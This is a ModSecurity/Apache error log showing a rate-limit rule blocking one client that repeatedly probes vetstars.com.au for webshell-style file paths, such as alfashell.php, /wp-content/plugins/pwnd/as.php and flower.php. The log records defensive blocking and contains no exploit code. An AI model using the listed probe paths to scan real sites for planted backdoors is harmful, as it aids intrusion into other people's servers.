[Mon Mar 02 02:25:46.524840 2026] [:error] [pid 26940:tid 26952] [client 20.151.11.236:55932] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aaSEqhrUg-j5GLDtRFnsPAAAAEg"]
[Mon Mar 02 02:25:46.948267 2026] [:error] [pid 53182:tid 53563] [client 20.151.11.236:57526] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "aaSEqvv073cA6eM1YCTuFQAAANM"]
[Mon Mar 02 02:25:47.366100 2026] [:error] [pid 26940:tid 26945] [client 20.151.11.236:57487] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "aaSEqxrUg-j5GLDtRFnsRQAAAEE"]
[Mon Mar 02 02:25:47.780758 2026] [:error] [pid 26940:tid 26948] [client 20.151.11.236:58766] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "aaSEqxrUg-j5GLDtRFnsSwAAAEQ"]
[Mon Mar 02 02:26:58.949366 2026] [:error] [pid 26940:tid 26965] [client 20.151.11.236:58828] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaSE8hrUg-j5GLDtRFnuWgAAAFU"]
[Mon Mar 02 02:26:59.403452 2026] [:error] [pid 26940:tid 26964] [client 20.151.11.236:63603] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaSE8xrUg-j5GLDtRFnuXQAAAFQ"]
[Mon Mar 02 02:26:59.852839 2026] [:error] [pid 53181:tid 53521] [client 20.151.11.236:55818] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaSE84r_0T1SazTrJOBUsgAAAQY"]
[Mon Mar 02 02:27:00.298553 2026] [:error] [pid 53181:tid 53528] [client 20.151.11.236:41673] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaSE9Ir_0T1SazTrJOBUswAAAQ0"]
[Mon Mar 02 02:27:00.714931 2026] [:error] [pid 26940:tid 26960] [client 20.151.11.236:63503] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aaSE9BrUg-j5GLDtRFnuZgAAAFA"]
[Mon Mar 02 02:27:01.146596 2026] [:error] [pid 26940:tid 26957] [client 20.151.11.236:63526] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aaSE9RrUg-j5GLDtRFnuagAAAE0"]
[Mon Mar 02 02:27:01.564776 2026] [:error] [pid 53182:tid 53566] [client 20.151.11.236:63525] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aaSE9fv073cA6eM1YCTvKgAAANY"]
[Mon Mar 02 02:27:01.992724 2026] [:error] [pid 53180:tid 53459] [client 20.151.11.236:58840] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aaSE9TPPJpDOBvYnaa1qbQAAAY8"]
[Mon Mar 02 02:27:02.415904 2026] [:error] [pid 53182:tid 53543] [client 20.151.11.236:58879] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aaSE9vv073cA6eM1YCTvMwAAAMA"]
[Mon Mar 02 02:27:02.835087 2026] [:error] [pid 26940:tid 26955] [client 20.151.11.236:58808] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aaSE9hrUg-j5GLDtRFnufAAAAEs"]
[Mon Mar 02 02:27:03.273899 2026] [:error] [pid 26940:tid 26950] [client 20.151.11.236:57472] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aaSE9xrUg-j5GLDtRFnugAAAAEY"]
[Mon Mar 02 02:27:03.843450 2026] [:error] [pid 53181:tid 53521] [client 20.151.11.236:55895] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aaSE94r_0T1SazTrJOBUvgAAAQY"]
[Mon Mar 02 02:27:04.385267 2026] [:error] [pid 26940:tid 26961] [client 20.151.11.236:63613] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfashell.php"] [unique_id "aaSE-BrUg-j5GLDtRFnuiwAAAFE"]
[Mon Mar 02 02:27:04.851756 2026] [:error] [pid 26940:tid 26954] [client 20.151.11.236:57582] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfashell.php"] [unique_id "aaSE-BrUg-j5GLDtRFnujgAAAEo"]
[Mon Mar 02 02:27:05.298712 2026] [:error] [pid 53182:tid 53563] [client 20.151.11.236:58847] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfashell.php"] [unique_id "aaSE-fv073cA6eM1YCTvRQAAANM"]
[Mon Mar 02 02:27:05.727819 2026] [:error] [pid 53182:tid 53564] [client 20.151.11.236:58848] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfashell.php"] [unique_id "aaSE-fv073cA6eM1YCTvSAAAANQ"]
[Mon Mar 02 02:27:06.182979 2026] [:error] [pid 53182:tid 53543] [client 20.151.11.236:63564] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "aaSE-vv073cA6eM1YCTvUQAAAMA"]
[Mon Mar 02 02:27:06.622043 2026] [:error] [pid 53181:tid 53539] [client 20.151.11.236:41681] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "aaSE-or_0T1SazTrJOBUxwAAARg"]
[Mon Mar 02 02:27:07.123275 2026] [:error] [pid 53585:tid 53596] [client 20.151.11.236:63545] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "aaSE-3bCvYsvu6kKhM3NRQAAAAg"]
[Mon Mar 02 02:27:07.593115 2026] [:error] [pid 53585:tid 53601] [client 20.151.11.236:41681] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "aaSE-3bCvYsvu6kKhM3NRwAAAA0"]
[Mon Mar 02 02:27:08.077066 2026] [:error] [pid 53180:tid 53466] [client 20.151.11.236:63529] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aaSE_DPPJpDOBvYnaa1qdgAAAZY"]
[Mon Mar 02 02:27:08.539649 2026] [:error] [pid 53180:tid 53465] [client 20.151.11.236:57599] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aaSE_DPPJpDOBvYnaa1qeAAAAZU"]
[Mon Mar 02 02:27:08.964384 2026] [:error] [pid 53180:tid 53458] [client 20.151.11.236:55836] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aaSE_DPPJpDOBvYnaa1qfAAAAY4"]
[Mon Mar 02 02:27:09.432071 2026] [:error] [pid 53180:tid 53451] [client 20.151.11.236:63507] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aaSE_TPPJpDOBvYnaa1qgAAAAYc"]
[Mon Mar 02 02:27:09.861710 2026] [:error] [pid 53182:tid 53551] [client 20.151.11.236:63600] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/styll.php"] [unique_id "aaSE_fv073cA6eM1YCTvZwAAAMg"]
[Mon Mar 02 02:27:10.326456 2026] [:error] [pid 53182:tid 53555] [client 20.151.11.236:63601] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/styll.php"] [unique_id "aaSE_vv073cA6eM1YCTvagAAAMs"]
[Mon Mar 02 02:27:10.767887 2026] [:error] [pid 53180:tid 53444] [client 20.151.11.236:57501] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/styll.php"] [unique_id "aaSE_jPPJpDOBvYnaa1qjQAAAYA"]
[Mon Mar 02 02:27:11.230009 2026] [:error] [pid 53180:tid 53468] [client 20.151.11.236:63519] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/styll.php"] [unique_id "aaSE_zPPJpDOBvYnaa1qlQAAAZg"]
[Mon Mar 02 02:27:11.728326 2026] [:error] [pid 53180:tid 53444] [client 20.151.11.236:58859] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aaSE_zPPJpDOBvYnaa1qmwAAAYA"]
[Mon Mar 02 02:27:12.188284 2026] [:error] [pid 53180:tid 53464] [client 20.151.11.236:41665] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aaSFADPPJpDOBvYnaa1qnwAAAZQ"]
[Mon Mar 02 02:27:12.673343 2026] [:error] [pid 53585:tid 53589] [client 20.151.11.236:58801] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aaSFAHbCvYsvu6kKhM3NUwAAAAE"]
[Mon Mar 02 02:27:13.112546 2026] [:error] [pid 53585:tid 53611] [client 20.151.11.236:57574] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aaSFAXbCvYsvu6kKhM3NVQAAABc"]
[Mon Mar 02 02:27:13.546534 2026] [:error] [pid 26940:tid 26949] [client 20.151.11.236:63527] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower2.php"] [unique_id "aaSFARrUg-j5GLDtRFnuvAAAAEU"]
[Mon Mar 02 02:27:13.961345 2026] [:error] [pid 26940:tid 26966] [client 20.151.11.236:57545] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower2.php"] [unique_id "aaSFARrUg-j5GLDtRFnuwgAAAFY"]
[Mon Mar 02 02:27:14.389357 2026] [:error] [pid 26940:tid 26955] [client 20.151.11.236:58768] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower2.php"] [unique_id "aaSFAhrUg-j5GLDtRFnuxgAAAEs"]
[Mon Mar 02 02:27:14.821592 2026] [:error] [pid 26940:tid 26965] [client 20.151.11.236:57518] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower2.php"] [unique_id "aaSFAhrUg-j5GLDtRFnu0AAAAFU"]
[Mon Mar 02 02:27:15.253727 2026] [:error] [pid 26940:tid 26950] [client 20.151.11.236:63577] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4h.php"] [unique_id "aaSFAxrUg-j5GLDtRFnu1QAAAEY"]
[Mon Mar 02 02:27:15.772900 2026] [:error] [pid 26940:tid 26951] [client 20.151.11.236:58862] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4h.php"] [unique_id "aaSFAxrUg-j5GLDtRFnu2wAAAEc"]
[Mon Mar 02 02:27:16.209717 2026] [:error] [pid 26940:tid 26950] [client 20.151.11.236:58753] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4h.php"] [unique_id "aaSFBBrUg-j5GLDtRFnu4QAAAEY"]
[Mon Mar 02 02:27:16.626990 2026] [:error] [pid 26940:tid 26949] [client 20.151.11.236:63608] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4h.php"] [unique_id "aaSFBBrUg-j5GLDtRFnu6gAAAEU"]
[Mon Mar 02 02:27:17.053824 2026] [:error] [pid 26940:tid 26947] [client 20.151.11.236:58866] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aaSFBRrUg-j5GLDtRFnu9QAAAEM"]
[Mon Mar 02 02:27:17.569170 2026] [:error] [pid 53182:tid 53551] [client 20.151.11.236:58811] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aaSFBfv073cA6eM1YCTvfgAAAMg"]
[Mon Mar 02 02:27:18.021319 2026] [:error] [pid 53180:tid 53451] [client 20.151.11.236:57551] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aaSFBjPPJpDOBvYnaa1qqAAAAYc"]
[Mon Mar 02 02:27:18.454200 2026] [:error] [pid 53181:tid 53514] [client 20.151.11.236:58806] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aaSFBor_0T1SazTrJOBU0AAAAQA"]
[Mon Mar 02 02:27:18.905265 2026] [:error] [pid 53585:tid 53612] [client 20.151.11.236:58877] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aaSFBnbCvYsvu6kKhM3NbAAAABg"]
[Mon Mar 02 02:27:19.517253 2026] [:error] [pid 53182:tid 53568] [client 20.151.11.236:55854] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aaSFB_v073cA6eM1YCTvhgAAANg"]
[Mon Mar 02 02:27:20.006319 2026] [:error] [pid 53180:tid 53448] [client 20.151.11.236:57558] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aaSFCDPPJpDOBvYnaa1qqwAAAYQ"]
[Mon Mar 02 02:27:20.475368 2026] [:error] [pid 53182:tid 53558] [client 20.151.11.236:58868] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aaSFCPv073cA6eM1YCTviQAAAM4"]
[Mon Mar 02 02:27:21.143843 2026] [:error] [pid 53181:tid 53518] [client 20.151.11.236:58817] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/database.php"] [unique_id "aaSFCYr_0T1SazTrJOBU1AAAAQQ"]
[Mon Mar 02 02:27:21.610642 2026] [:error] [pid 53180:tid 53452] [client 20.151.11.236:63575] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/database.php"] [unique_id "aaSFCTPPJpDOBvYnaa1qrwAAAYg"]
[Mon Mar 02 02:27:22.100675 2026] [:error] [pid 53585:tid 53607] [client 20.151.11.236:63547] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/database.php"] [unique_id "aaSFCnbCvYsvu6kKhM3NfgAAABM"]
[Mon Mar 02 02:27:22.543705 2026] [:error] [pid 53585:tid 53590] [client 20.151.11.236:63510] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/database.php"] [unique_id "aaSFCnbCvYsvu6kKhM3NgAAAAAI"]
